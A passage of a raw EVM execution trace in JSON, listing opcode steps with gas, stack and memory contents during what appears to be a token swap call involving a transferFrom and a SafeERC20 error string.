63918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15356,"op":"PUSH1","gas":19282,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15358,"op":"PUSH1","gas":19279,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15360,"op":"DUP3","gas":19276,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15361,"op":"ADD","gas":19273,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15362,"op":"PUSH2","gas":19270,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15365,"op":"JUMPI","gas":19267,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0","0x1","0x3c0d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15373,"op":"JUMPDEST","gas":19257,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15374,"op":"POP","gas":19256,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15375,"op":"PUSH1","gas":19254,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15377,"op":"ADD","gas":19251,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15378,"op":"SWAP1","gas":19248,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x3154","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15379,"op":"JUMP","gas":19245,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x1","0x3154"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12628,"op":"JUMPDEST","gas":19237,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7